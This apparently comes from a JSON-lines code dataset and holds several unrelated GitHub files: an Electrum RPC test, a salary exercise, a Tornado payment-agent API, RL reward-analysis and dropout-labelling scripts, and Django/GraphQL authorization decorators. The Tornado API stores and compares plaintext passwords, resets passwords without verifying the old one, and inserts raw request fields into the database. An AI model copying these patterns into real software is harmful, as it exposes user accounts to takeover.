confirmed, the first is returned.\n n.generate(1)\n sync_electrum_height(n)\n res = await cli.call(\"blockchain.address.get_first_use\", addr)\n assert_equal(txid, res['tx_hash'])\n\n async def test_list_unspent(self, n, cli):\n addr = n.getnewaddress()\n utxo = await cli.call(\"blockchain.address.listunspent\", addr)\n assert_equal(0, len(utxo))\n\n txid = n.sendtoaddress(addr, 21)\n async def fetch_utxo():\n utxo = await cli.call(\"blockchain.address.listunspent\", addr)\n if len(utxo) > 0:\n return utxo\n return None\n\n utxo = await waitForAsync(10, fetch_utxo)\n assert_equal(1, len(utxo))\n\n assert_equal(0, utxo[0]['height'])\n assert_equal(txid, utxo[0]['tx_hash'])\n assert_equal(21 * COIN, utxo[0]['value'])\n assert(utxo[0]['tx_pos'] in [0, 1])\n\n n.generate(1)\n async def wait_for_confheight():\n utxo = await cli.call(\"blockchain.address.listunspent\", addr)\n return len(utxo) == 1 and utxo[0]['height'] == n.getblockcount()\n await waitForAsync(10, wait_for_confheight)\n\n\n async def test_get_history(self, n, cli):\n addr = n.getnewaddress()\n txid = n.sendtoaddress(addr, 11)\n async def fetch_history():\n h = await cli.call(\"blockchain.address.get_history\", addr)\n if len(h) > 0:\n return h\n return None\n history = await waitForAsync(10, fetch_history)\n assert_equal(1, len(history))\n\n UNCONFIRMED_HEIGHT = 0\n assert_equal(UNCONFIRMED_HEIGHT, history[0]['height'])\n assert_equal(txid, history[0]['tx_hash'])\n\n n.generate(1)\n async def wait_for_confheight():\n h = await cli.call(\"blockchain.address.get_history\", addr)\n return len(h) == 1 and h[0]['height'] == n.getblockcount()\n await waitForAsync(10, wait_for_confheight)\n\nif __name__ == '__main__':\n ElectrumBlockchainAddress().main()\n","repo_name":"BitcoinUnlimited/BitcoinUnlimited","sub_path":"qa/rpc-tests/electrum_blockchain_address.py","file_name":"electrum_blockchain_address.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","stars":453,"dataset":"github-code","pt":"81"} +{"seq_id":"23102486136","text":"\"\"\"\nUm funcionário de uma empresa recebe aumento salarial anualmente: Sabe-se que:\nEsse funcionário foi contratado em 1995, com salário inicial de R$ 1.000,00;\nEm 1996 recebeu aumento de 1,5% sobre seu salário inicial;\nA partir de 1997 (inclusive), os aumentos salariais sempre correspondem ao dobro do percentual do ano anterior.\nFaça um programa que determine o salário atual desse funcionário.\nApós concluir isto, altere o programa permitindo que o usuário digite o salário inicial do funcionário.\n\"\"\"\n# SOLUÇÃO 01\n\nano_entrada = 1996\naumento = 0.015\nsalario_inicial = 1_000\nsalario_atual = salario_inicial\nwhile True:\n try:\n ano_atual = int(input('Digite o ano atual: '))\n if ano_atual > 1996:\n break\n except ValueError:\n print('Você digitou um valor inválido, tente novamente.')\n\nfor _ in range(1997, ano_atual + 1, 1):\n salario_atual = salario_atual * (1 + aumento)\n aumento = aumento * 2\n\nprint(f'O salário atual do funcionário é de {\"%.2f\" % salario_atual} RS')\n","repo_name":"SOLRAC32/Exercicios_resolvidos_pythonbrasil","sub_path":"3 - Estruturas de Repetição/EXERCICIO 38.py","file_name":"EXERCICIO 38.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"24345475961","text":"#！/usr/bin/python\n#此句用于指定脚本执行的py版本\n# -*- coding: UTF-8 -*-\nimport time\nimport tornado.ioloop\nimport tornado.web\nfrom mysqldb import *\nfrom func import *\n\nclass MainHandler(tornado.web.RequestHandler):\n @gen.coroutine\n def get(self):\n # gen.sleep(10)\n self.write(\"Hello, world\")\n\n#登录接口\nclass login(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n user_name = self.get_argument('user_name')\n password = self.get_argument('password')\n\n sql = \"SELECT id,agent_phone,agent_level_id FROM wz_agent WHERE agent_phone=%s AND agent_password=%s\"\n try:\n datas = yield executesql(sql,(user_name,password))\n if not datas:\n return returnJson(self, 0, msg='账号密码错误')\n print(user_name, password, datas)\n token = create_Token(datas[0]['id'], datas[0]['agent_phone'], datas[0]['agent_level_id'])\n endtime = int(time.time()) + 2000 # 截止日期\n adddata = {'user_id': datas[0]['id'], 'token': token, 'expires_in': endtime}\n print(adddata)\n add('wz_token', adddata)\n except:\n return returnJson(self, 0, msg='用户不存在')\n\n\n\n # print(token)\n returnJson(self,1,data={'token':token})\n\n#获取商户列表接口\nclass getMerchantList(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n agent_id = self.get_argument('agent_id')\n sql = \"SELECT id,mer_name from wz_merchant WHERE mer_parent_agent = %s\"\n try:\n datas = yield executesql(sql,agent_id)\n if not datas:\n return returnJson(self, 0, msg='该代理还没有商户列表')\n except:\n return returnJson(self, 0, msg='出现异常错误')\n print(datas)\n dic = {'merchant_list':datas}\n return returnJson(self, 1, data=dic)\n\n#获取交易流水接口\nclass getOrderList(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n user_id = self.get_argument('user_id') #用户ID\n user_type = self.get_argument('user_type') #用户类别 1代理商 2商户\n trans_time = self.get_argument('trans_time') #交易时间 2018-\n order_type = self.get_argument('order_type') #排序方式 1升序，2降序\n if order_type == '1':\n order_type = 'asc'\n else:\n order_type = 'desc'\n if user_type == '2':\n chip_sql = \"WHERE merchant_id = %s AND DATE_FORMAT(time,'%%Y-%%m-%%d') = %s order by time {}\".format(order_type)\n sql = \"SELECT id,order_no from wz_order {} \".format(chip_sql)\n print(sql)\n try:\n datas = yield executesql(sql,(user_id,'2018-04-03'))\n print(datas)\n if not datas:\n return returnJson(self, 0, msg='该代理还没有交易流水记录')\n except:\n return returnJson(self, 0, msg='出现异常错误')\n dic = {'order_list': datas}\n # print(datas)\n\n return returnJson(self, 1, data=dic)\n\n# 添加商户接口\nclass addMerchant(tornado.web.RequestHandler):\n def set_default_headers(self):\n self.set_header('Content-type', 'x-www-form-urlencoded;charset=utf-8')\n\n @gen.coroutine\n def post(self):\n data = self.request.arguments\n try:\n datas = yield add('wz_merchant',data)\n print(datas)\n if not datas:\n return returnJson(self, 0, msg='添加失败')\n except:\n print(111)\n return returnJson(self, 0, msg='出现异常错误，请重试')\n\n dic = {'merchant_info': datas}\n return returnJson(self, 1, data=dic)\n\n\n# 获取商户资料接口\nclass getMerchnatInfoById(tornado.web.RequestHandler):\n def set_default_headers(self):\n self.set_header('Content-type', 'x-www-form-urlencoded;charset=utf-8')\n\n @gen.coroutine\n def post(self):\n merchant_id = self.get_argument('merchant_id') # 商户ID\n\n try:\n where = [\"WHERE id = %s\",[merchant_id]]\n datas = yield query('wz_merchant','*',where)\n print(datas)\n if not datas:\n return returnJson(self, 0, msg='获取失败，请重试')\n except:\n return returnJson(self, 0, msg='出现异常错误，请重试')\n\n dic = {'merchant_info': datas}\n return returnJson(self, 1, data=dic)\n\n# 获取商户资料接口\nclass updateMerchantById(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n merchant_id = self.get_argument('merchant_id') # 商户ID\n merchant_logo = self.get_argument('merchant_logo') # 商户logo\n merchant_name = self.get_argument('merchant_name')\n # print(merchant_logo)\n try:\n where = [\"WHERE id = %s\",[merchant_id]]\n res = {'mer_name':merchant_name,'mer_logo': merchant_logo}\n datas = yield update('wz_merchant',res,where)\n # print(datas)\n if not datas:\n return returnJson(self, 0, msg='获取失败，请重试')\n except:\n return returnJson(self, 0, msg='出现异常错误，请重试')\n\n dic = {'merchant_info': datas}\n return returnJson(self, 1, data=dic)\n\n# 获取商户资料接口\nclass resetPassword(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n\n userid = self.get_argument('userid') # 用户ID\n phone = self.get_argument('phone') # 手机号\n # old_password = self.get_argument('old_password') #原密码\n new_password = self.get_argument('new_password') #新密码\n try:\n where = [\"WHERE id = %s and agent_phone = %s\",[userid,phone]]\n res = {'agent_password':new_password}\n datas = yield update('wz_agent',res,where)\n # print(datas)\n if not datas:\n return returnJson(self, 0, msg='获取失败，请重试')\n except:\n return returnJson(self, 0, msg='出现异常错误，请重试')\n\n dic = {'merchant_info': datas}\n return returnJson(self, 1, data=dic)\n\n# 获取商户资料接口\nclass countMoneyById(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n\n agent_id = self.get_argument('agent_id') # 代理商ID\n startDate = self.get_argument('startDate') # 起时间\n endDate = self.get_argument('endDate') # 终时间\n\n try:\n where = [\"WHERE agent_id = %s and (time > %s and time < %s)\",[agent_id,startDate,endDate]]\n datas = yield query('wz_agent_profit','*',where)\n if not datas:\n return returnJson(self, 0, msg='获取失败，请重试')\n except:\n return returnJson(self, 0, msg='出现异常错误，请重试')\n\n dic = {'merchant_info': datas}\n return returnJson(self, 1, data=dic)\n\n# 获取提现记录接口\nclass getTradeHistory(tornado.web.RequestHandler):\n @gen.coroutine\n def post(self):\n\n agent_id = self.get_argument('agent_id') # 代理商ID\n trade_type = self.get_argument('trade_type') # 交易类型(昝定义 1正在提现 2提现完成)\n startDate = self.get_argument('startDate') # 起时间\n endDate = self.get_argument('endDate') # 终时间\n\n try:\n where = [\"WHERE agent_id = %s and status = %s and (pub_time > %s and pub_time < %s)\",[agent_id,trade_type,startDate,endDate]]\n datas = yield query('wz_agent_tx','*',where)\n if not datas:\n return returnJson(self, 0, msg='获取失败，请重试')\n except:\n return returnJson(self, 0, msg='出现异常错误，请重试')\n\n dic = {'merchant_info': datas}\n return returnJson(self, 1, data=dic)\n\napplication = tornado.web.Application([\n\n (r\"/getTradeHistory\", getTradeHistory),\n (r\"/countMoneyById\", countMoneyById),\n (r\"/resetPassword\", resetPassword),\n (r\"/updateMerchantById\", updateMerchantById),\n (r\"/getMerchnatInfoById\", getMerchnatInfoById),\n (r\"/addMerchant\", addMerchant),\n (r\"/getOrderList\", getOrderList),\n (r\"/getMerchantList\", getMerchantList),\n (r\"/login\", login),\n (r\"/\", MainHandler),\n])\napplication.add_handlers(r\"^(www/.)?a/.com$\", [(r\"/\", MainHandler)])\nif __name__ == \"__main__\":\n application.listen(8000)\n # application.listen(8001)\n # application.listen(8002)\n # application.listen(8003)\n tornado.ioloop.IOLoop.instance().start()","repo_name":"SmTime/Bankapi","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":8545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2727637969","text":"import sys\nfrom os import listdir\nfrom os.path import isfile, join\n\nimport numpy as np\nimport pandas as pd\nfrom statsmodels.stats.power import TTestIndPower\n\nfrom utils.performance_utils import *\nfrom utils.vis_utils import plot_rewards, plot_boxplot\nfrom utils.performance_utils import cohend, welch_ttest\n\ndef avg_rwd_last_t_episodes(rewards, t=100):\n\treturn np.mean(rewards[:, -t:])# - np.var(rewards[:, -t:])\n\ndef preprocess_np_arrays(rewards):\n\treturn [np.stack(r, axis=0) for r in rewards]\n\ndef max_streaks(rewards, threshold, streak_size):\n\tstreaks = []\n\tfor rwd in rewards:\n\t\tmax_len = 0\n\t\tinit_streak = 0\n\t\tcurrent_len = 0\n\t\tcurrent_init = len(rwd) // 10\n\t\tfor i in range(current_init, len(rwd)):\n\t\t\tif rwd[i] >= threshold:\n\t\t\t\tcurrent_len += 1\n\t\t\tif current_len > max_len:\n\t\t\t\tmax_len = current_len\n\t\t\t\tinit_streak = current_init\n\t\t\tif rwd[i] < threshold:\n\t\t\t\tcurrent_init = i\n\t\t\t\tcurrent_len = 0\n\t\tif max_len < streak_size:\n\t\t\tstreaks.append([len(rwd), max_len])\n\t\telse:\n\t\t\tstreaks.append([init_streak, max_len])\n\treturn np.array(streaks)\n\ndef test(x, y, alpha=0.05):\n\tt, p = stats.ttest_ind(x, y, equal_var=False)\n\tdf = welch_ttest(np.array(x), np.array(y))\n\tdecision = \"aceptada\" if p >= alpha else \"rechazada\"\n\teffect = cohend(y, x)\n\t# analysis = TTestIndPower()\n\t# power = analysis.solve_power(effect, power=None, nobs1=len(x), ratio=1.0, alpha=alpha)\n\treturn [t, df, p, decision, effect]\n\ndef local_results_to_html(filename, test_table, plot_path):\n\t\"\"\"\n\tdocstring\n\t\"\"\"\n\tname = filename[:-4].replace(\".\", \"\")\n\tsplited_name = name.strip().split(\"_\")\n\ttext = \"\"\n\tdelta = float(splited_name[-1]) / (float(splited_name[11]) * float(splited_name[7]))\n\ttext += f\"

Ambiente: {splited_name[0]}

\"\n\ttext += f\"

Porcentaje de modificación: {splited_name[1]} {splited_name[2]}

\"\n\ttext += f\"

Tipo de estructura: {' '.join(splited_name[3:6])}

\"\n\ttext += f\"

N: {splited_name[7]}

\"\n\ttext += f\"

Simulaciones: {splited_name[9]}

\"\n\ttext += f\"

Episodios: {splited_name[11]}

\"\n\ttext += f\"

Delta: {delta}

\"\n\theader = [\"Algoritmo\", \"M\", \"SD\", \"t\", \"df\", \"p\", \"H0\", \"d de Cohen\"]\n\ttext += array_to_html_table(header, test_table)\n\t# text += f\"\\n\\n![plot]({plot_path})\"\n\ttext += f''\n\treturn text\n\ndef printable_list(row):\n\treturn [ f\"{cell:.2f}\" if type(cell) != str and type(cell) != int else cell for cell in row]\n\ndef push_into_storage(storage, num, i, episodes):\n\tlabels = [\"Q-learning\", \"Q-learning + estructura completa\", \\\n \"Q-learning + estructura parcial\", \"Q-learning + estructura incorrecta\"]\n\ts = len(episodes[:, 0])\n\tstorage[\"Algoritmo\"] = np.concatenate((storage[\"Algoritmo\"], [labels[i]]), axis=None)\n\tstorage[\"N\"] = np.concatenate((storage[\"N\"], [num]), axis=None)\n\tstorage[\"Episodio\"] = np.concatenate((storage[\"Episodio\"], np.mean(episodes[:, 0])), axis=None)\n\ndef push_into_global_table(args, row, general_table):\n\t\"\"\"\n\targs[0]: env\n\targs[1]: pmod\n\targs[2]: delta\n\targs[3]: num\n\targs[4]: param\n\t\"\"\"\n\tgeneral_table[\"Ambiente\"].append(args[0])\n\tgeneral_table[\"Parametro\"].append(args[1] if args[4] == \"pmod\" else args[2])\n\tgeneral_table[\"N\"].append(args[3])\n\tgeneral_table[\"Algoritmo\"].append(row[0])\n\tgeneral_table[\"M\"].append(row[1])\n\tgeneral_table[\"STD\"].append(row[2])\n\tgeneral_table[\"t\"].append(row[3])\n\tgeneral_table[\"df\"].append(row[4])\n\tgeneral_table[\"p\"].append(row[5])\n\tgeneral_table[\"H0\"].append(row[6])\n\tgeneral_table[\"Cohend\"].append(row[7])\n\ndef run_tests(results_storage, general_table, labels, threshold, rewards, streak_size, mod=50, *args):\n\t\"\"\"\n\targs[0]: env\n\targs[1]: pmod\n\targs[2]: delta\n\targs[3]: num\n\targs[4]: param\n\t\"\"\"\n\tnum = args[3]\n\tvanilla_q_streak = max_streaks(rewards[0], threshold, streak_size) * mod\n\tpush_into_storage(results_storage, num, 0, vanilla_q_streak)\n\ttable = []\n\tfor i in range(len(rewards)):\n\t\tcausal_streak = max_streaks(rewards[i], threshold, streak_size) * mod\n\t\tif i > 0:\n\t\t\tpush_into_storage(results_storage, num, i, causal_streak)\n\t\tprintable_row = printable_list([labels[i], np.mean(causal_streak[:, 0]), np.std(causal_streak[:, 0])]\\\n\t\t\t\t\t\t\t\t\t+ test(causal_streak[:, 0], vanilla_q_streak[:, 0]))\n\t\tpush_into_global_table(args, printable_row, general_table)\n\t\ttable.append(printable_row)\n\treturn table\n\ndef create_storage():\n\tresults_storage = dict(deterministic={}, stochastic={})\n\tresults_storage[\"deterministic\"] = dict(one_to_one={}, many_to_one={}, one_to_many={})\n\tresults_storage[\"stochastic\"] = dict(one_to_one={}, many_to_one={}, one_to_many={})\n\tfor env in results_storage:\n\t\tfor struct in results_storage[env]:\n\t\t\tresults_storage[env][struct] = dict(N=[], Algoritmo=[], Episodio=[])\n\treturn results_storage\n\ndef get_args(filename):\n\tsplited_name = filename.strip().split(\"_\")\n\tenv = splited_name[0]\n\tstruct = \"_\".join(splited_name[3:6])\n\tnum = splited_name[7]\n\tpmod = splited_name[2]\n\tdelta = float(splited_name[-1][:-4]) / (float(splited_name[11]) * float(splited_name[7]))\n\treturn struct, int(num), env, pmod, delta\n\ndef plot_mat(mat, base_dir_plots, name, mod):\n\tlabels = [\"Q-learning\", \"Q-learning + estructura completa\", \\\n \"Q-learning + estructura parcial\", \"Q-learning + estructura incorrecta\"]\n\tmean_vectors, std_dev_vectors = compute_mean_and_std_dev(mat)\n\tx_axis = mod * (np.arange(len(mean_vectors[0])))\n\tplot_path = join(base_dir_plots, name)\n\tplot_rewards(x_axis, mean_vectors, std_dev_vectors, labels, plot_path, filetype=\"png\")\n\treturn plot_path + \".png\"\n\ndef save_str_to_doc(filename, string):\n\twith open(filename, \"w\") as f:\n\t\tf.writelines(string)\n\ndef call_boxplotting(memory, struct, env):\n\tplot_path = join(base_dir_plots, f\"boxplot_{env}_{struct}\")\n\tdf = pd.DataFrame.from_dict(memory[env][struct])\n\tplot_boxplot(df, \"N\", \"Episodio\", \"Algoritmo\", plot_path)\n\treturn plot_path + \".png\"\n\ndef create_html_tables(global_table):\n\thtml_str = \"\"\n\tfor struct in global_table:\n\t\thtml_str += f\"

{struct}

\"\n\t\tdf = pd.DataFrame.from_dict(global_table[struct])\n\t\tdf = df.sort_values(by=[\"Ambiente\", \"N\", \"Parametro\", \"Algoritmo\"]).reset_index(drop=True)\n\t\thtml_str += df.to_html()\n\treturn html_str\n\n\ndef create_general_table():\n\t\"\"\"\n\tdocstring\n\t\"\"\"\n\ttable = dict(one_to_one={}, many_to_one={}, one_to_many={})\n\tfor struct in table:\n\t\ttable[struct] = dict(Ambiente=[], N=[], Parametro=[],\\\n\t\t\t\t\t\t\t\t\t\t\t\tAlgoritmo=[], M=[], STD=[],\\\n\t\t\t\t\t\t\t\t\t\t\t\tt=[], df=[], p=[], H0=[], Cohend=[])\n\treturn table\n\ndef plot_boxes(memory):\n\thtml_str = \"\"\n\tfor env in memory:\n\t\tfor struct in memory[env]:\n\t\t\thtml_str += f\"

{env} {struct}

\"\n\t\t\thtml_str += f''\n\treturn html_str\n\ndef process_dir(input_directory, output_file_name, plot_dir, labels, mod_tests, mod_plot, experiment_name, size=10, t=50, param=\"delta\"):\n\t\"\"\"\n\tdocstring\n\t\"\"\"\n\tfiles_list = sorted([f for f in listdir(input_directory) if isfile(join(input_directory, f))])\n\tmemory = create_storage()\n\tgeneral_table = create_general_table()\n\thtml_str = f\"

{experiment_name}

\"\n\thtml_str += f\"

Tamaño racha: {size}\"\n\tfor filepath in files_list:\n\t\tname = filepath[:-4].replace(\".\", \"\")\n\t\trewards = preprocess_np_arrays(transform_to_modulated_matrix(read_mat_from_file(join(input_directory, filepath)), mod=mod_tests))\n\t\tsolving_threshold = avg_rwd_last_t_episodes(rewards[0], t)\n\t\tstruct, num, env, pmod, delta = get_args(filepath)\n\t\ttable = run_tests(memory[env][struct], general_table[struct], labels, solving_threshold, rewards, size, mod_tests, env, pmod, delta, num, param)\n\t\tplot_path = plot_mat(transform_to_modulated_matrix(read_mat_from_file(join(input_directory, filepath)), mod=mod_plot), plot_dir, name, mod=mod_plot)\n\t\thtml_str += local_results_to_html(filepath, table, plot_path)\n\thtml_str += \"

Número de episodios en alcanzar racha de recompensas

\"\n\thtml_str += plot_boxes(memory)\n\thtml_str += create_html_tables(general_table)\n\tsave_str_to_doc(output_file_name, html_str)\n\nif __name__ == \"__main__\":\n\tinput_directory = sys.argv[1]\n\toutput_file_name = sys.argv[2]\n\texperiment_name = sys.argv[3]\n\tbase_dir_plots = sys.argv[4]\n\tmod_plots = int(sys.argv[5])\n\tmod_tests = int(sys.argv[6])\n\tstreak_size = int(sys.argv[7])\n\tt = int(sys.argv[8])\n\tparam = sys.argv[9]\n\tlabels = [\"$Q_1$\", \"$Q_2$\", \"$Q_3$\", \"$Q_4$\"]\n\tprocess_dir(input_directory, output_file_name, base_dir_plots, labels, mod_tests, mod_plots, experiment_name, streak_size, t, param)","repo_name":"ivanfeliciano/causal_rl","sub_path":"guided_q_learning/rewards_analizer.py","file_name":"rewards_analizer.py","file_ext":"py","file_size_in_byte":8390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"1429290639","text":"import pandas as pd\nimport numpy as np\n\ndef LabelingDatasetUsingCycles(path2csv, OutputFilename, SaveToCsv = True, Verbose=False):\n df = pd.read_csv(path2csv)\n df.drop(['Unnamed: 0'], axis=1, inplace=True)\n df.drop(['Materia', 'Repetidor', 'Calificacion', 'Faltas', 'Partial', 'Genero', 'Turno', 'Especialidad', 'Group'], axis=1, inplace = True)\n df_pivot = pd.pivot_table(df, index=['Id Unico'], columns=['Cycle'], values=['Semester'], aggfunc=np.max).copy()\n df_pivot.reset_index(col_level=1, inplace= True)\n df_pivot.columns = df_pivot.columns.droplevel()\n df_pivot['Abandono'] = ''\n df_pivot['Ultimo Ciclo'] = ''\n NoRows = df_pivot.shape[0]\n NoColumns = df_pivot.shape[1]\n if Verbose: print(\"No Rows: \" + str(NoRows) + \", No Columns: \" + str(NoColumns))\n \n for i in range(NoRows):\n Abandono = 'Si'\n if(not np.isnan(df_pivot.iloc[i][-3])):\n #print(\"Row = \" + str(i) + \", Column = 5\")\n Abandono = 'No'\n LastSemester = df_pivot.columns[-3]\n else:\n for j in range(NoColumns-3, 0, -1): # Removing 'No. Control' and 'Abandono' columns and checking from last to first cycle\n #print(\"Row = \" + str(i) + \", Column = \" + str(j))\n if not np.isnan(df_pivot.iloc[i][j]):\n LastSemester = df_pivot.columns[j]\n if df_pivot.iloc[i][j] == 6:\n Abandono = 'No'\n break\n #print(\" Abandono? \" + Abandono)\n df_pivot.iloc[i, -2] = Abandono # This is the 'Abandono' Column\n df_pivot.iloc[i, -1] = LastSemester # This is the 'Abandono' Column\n \n\n if Verbose:\n NoDropped = df_pivot[df_pivot['Abandono']=='No'].shape[0]\n Dropped = df_pivot[df_pivot['Abandono']=='Si'].shape[0]\n print(\"The Number of Alumni that Dropped the studies is: {}\".format(Dropped))\n print(\"The Number of Alumni that No Dropped the studies is: {}\".format(NoDropped))\n print(\"The porcentage of Alumni that dropped the studies is: {}\".format(Dropped/(NoDropped+Dropped)))\n \n if SaveToCsv: # if SaveToCsv is True\n if Verbose: print(\"Saving the dataframe in: {}\".format(OutputFilename))\n df_pivot.to_csv(OutputFilename, encoding='utf-8-sig')\n\nif __name__ == \"__main__\": # This main is just to setup some variables before running the script if we \n # run it with \"double click\" or with python ')\n return func(*args, **kwargs)\n return authenticate_and_call\n\n\ndef authorize(roles):\n def wrapper(func):\n @functools.wraps(func)\n def authorize_and_call(*args, **kwargs):\n request = args[0]\n # Verify role if the user is logged in\n if 'username' in request.session and request.session['registered']:\n if request.session['role'] not in roles:\n return util.response([], 'Access denied', True)\n else:\n # The user is not even authenticated. Redirect to login\n return HttpResponse('')\n\n return func(*args, **kwargs)\n return authorize_and_call\n return wrapper\n\n\n# Access control decorators for GraphQL\ndef verify_csrf(func):\n \"\"\"\n Conditional CSRF decorator\n\n Enables django CSRF protection if using cookie-based authentication\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n request = args[0]\n if request.COOKIES.get(settings.JWT_COOKIE_NAME):\n ret = csrf_protect(func)(*args, **kwargs)\n else:\n ret = func(*args, **kwargs)\n\n if isinstance(ret, Promise):\n ret = ret.get()\n return ret\n return verify_and_call\n\n\ndef require_login(func):\n \"\"\"\n Require_login decorator\n\n Verifies that the user is logged in with a valid JWT\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n context = args[1].context\n try:\n user_data = util.get_jwt_content(context)\n if user_data.get('jti'):\n verify_jti(user_data['user_email'],\n context.META.get('HTTP_AUTHORIZATION'),\n user_data['jti'])\n except InvalidAuthorization:\n raise GraphQLError('Login required')\n return func(*args, **kwargs)\n return verify_and_call\n\n\ndef resolve_project_name(args, kwargs):\n \"\"\"Get project name based on args passed.\"\"\"\n if args[0] and hasattr(args[0], 'name'):\n project_name = args[0].name\n elif 'project_name' in kwargs:\n project_name = kwargs['project_name']\n elif 'finding_id' in kwargs:\n project_name = \\\n finding_dal.get_attributes(kwargs['finding_id'], ['project_name']).get('project_name')\n elif 'draft_id' in kwargs:\n project_name = \\\n finding_dal.get_attributes(kwargs['draft_id'], ['project_name']).get('project_name')\n elif 'event_id' in kwargs:\n project_name = \\\n event_domain.get_event(kwargs['event_id']).get('project_name')\n else:\n project_name = None\n return project_name\n\n\ndef resolve_project_data(project_name):\n \"\"\"Get project data or mock it if needed.\"\"\"\n if project_name:\n if not project_exists(project_name):\n project_data = {}\n else:\n project_data = project_dal.get(project_name)[0]\n else:\n project_data = {}\n\n if 'customeradmin' not in project_data:\n project_data['customeradmin'] = set()\n return project_data\n\n\ndef enforce_authz(func):\n \"\"\"\n Require_role decorator based on Casbin enforcer.\n\n Verifies that the current user's role is within the specified allowed roles\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n context = args[1].context\n user_data = util.get_jwt_content(context)\n user_data['role'] = get_user_role(user_data)\n project_name = resolve_project_name(args, kwargs)\n project_data = resolve_project_data(project_name)\n action = '{}.{}'.format(func.__module__, func.__qualname__)\n action = action.replace('.', '_')\n try:\n if not ENFORCER_ACTION.enforce(user_data, project_data, action):\n util.cloudwatch_log(context,\n 'Security: \\\nUnauthorized role attempted to perform operation')\n raise GraphQLError('Access denied')\n except AttributeDoesNotExist:\n util.cloudwatch_log(context,\n 'Security: \\\nUnauthorized role attempted to perform operation')\n raise GraphQLError('Access denied')\n return func(*args, **kwargs)\n return verify_and_call\n\n\ndef enforce_authz_async(func):\n \"\"\"\n Require_role decorator based on Casbin enforcer.\n\n Verifies that the current user's role is within the specified allowed roles\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n context = args[1].context\n user_data = util.get_jwt_content(context)\n user_data['role'] = get_user_role(user_data)\n project_name = resolve_project_name(args, kwargs)\n project_data = resolve_project_data(project_name)\n action = '{}.{}'.format(func.__module__, func.__qualname__)\n action = action.replace('.', '_')\n try:\n if not ENFORCER_ACTION_ASYNC.enforce(\n user_data, project_data, action\n ):\n util.cloudwatch_log(context,\n 'Security: \\\nUnauthorized role attempted to perform operation')\n raise GraphQLError('Access denied')\n except AttributeDoesNotExist:\n util.cloudwatch_log(context,\n 'Security: \\\nUnauthorized role attempted to perform operation')\n raise GraphQLError('Access denied')\n return func(*args, **kwargs)\n return verify_and_call\n\n\ndef verify_jti(email, context, jti):\n if not has_valid_access_token(email, context, jti):\n raise InvalidAuthorization()\n\n\ndef require_project_access(func):\n \"\"\"\n Require_project_access decorator\n\n Verifies that the current user has access to a given project\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n context = args[1].context\n project_name = kwargs.get('project_name')\n user_data = util.get_jwt_content(context)\n user_data['subscribed_projects'] = \\\n user_domain.get_projects(user_data['user_email'])\n user_data['subscribed_projects'] += \\\n user_domain.get_projects(user_data['user_email'], active=False)\n user_data['role'] = get_user_role(user_data)\n if not project_name:\n rollbar.report_message('Error: Empty fields in project',\n 'error', context)\n raise GraphQLError('Access denied')\n try:\n if not ENFORCER_BASIC.enforce(user_data, project_name.lower()):\n util.cloudwatch_log(context,\n 'Security: \\\nAttempted to retrieve {project} project info without permission'\n .format(project=kwargs.get('project_name')))\n raise GraphQLError('Access denied')\n util.cloudwatch_log(context,\n 'Security: Access to {project} project'\n .format(project=kwargs.get('project_name')))\n except AttributeDoesNotExist:\n return GraphQLError('Access denied')\n return func(*args, **kwargs)\n return verify_and_call\n\n\ndef require_finding_access(func):\n \"\"\"\n Require_finding_access decorator.\n\n Verifies that the current user has access to a given finding\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n context = args[1].context\n finding_id = kwargs.get('finding_id') \\\n if kwargs.get('identifier') is None else kwargs.get('identifier')\n user_data = util.get_jwt_content(context)\n user_data['subscribed_projects'] = \\\n user_domain.get_projects(user_data['user_email'])\n user_data['subscribed_projects'] += \\\n user_domain.get_projects(user_data['user_email'], active=False)\n user_data['role'] = get_user_role(user_data)\n finding_project = finding_domain.get_finding(finding_id).get('projectName')\n\n if not re.match('^[0-9]*$', finding_id):\n rollbar.report_message('Error: Invalid finding id format',\n 'error', context)\n raise GraphQLError('Invalid finding id format')\n try:\n if not ENFORCER_BASIC.enforce(user_data, finding_project.lower()):\n util.cloudwatch_log(context,\n 'Security: \\\n Attempted to retrieve finding-related info without permission')\n raise GraphQLError('Access denied')\n except AttributeDoesNotExist:\n return GraphQLError('Access denied')\n return func(*args, **kwargs)\n return verify_and_call\n\n\ndef require_event_access(func):\n \"\"\"\n Require_event_access decorator\n\n Verifies that the current user has access to a given event\n \"\"\"\n @functools.wraps(func)\n def verify_and_call(*args, **kwargs):\n context = args[1].context\n event_id = kwargs.get('event_id') \\\n if kwargs.get('identifier') is None else kwargs.get('identifier')\n user_data = util.get_jwt_content(context)\n user_data['subscribed_projects'] = \\\n user_domain.get_projects(user_data['user_email'])\n user_data['subscribed_projects'] += \\\n user_domain.get_projects(user_data['user_email'], active=False)\n user_data['role'] = get_user_role(user_data)\n event_project = event_domain.get_event(event_id).get('project_name')\n\n if not re.match('^[0-9]*$', event_id):\n rollbar.report_message('Error: Invalid event id format',\n 'error', context)\n raise GraphQLError('Invalid event id format')\n try:\n if not ENFORCER_BASIC.enforce(user_data, event_project.lower()):\n util.cloudwatch_log(context,\n 'Security: \\\n Attempted to retrieve event-related info without permission')\n raise GraphQLError('Access denied')\n except AttributeDoesNotExist:\n return GraphQLError('Access denied: Missing attributes')\n return func(*args, **kwargs)\n return verify_and_call\n\n\ndef cache_content(func):\n \"\"\"Get cached content from a django view with a request object.\"\"\"\n @functools.wraps(func)\n def decorated(*args, 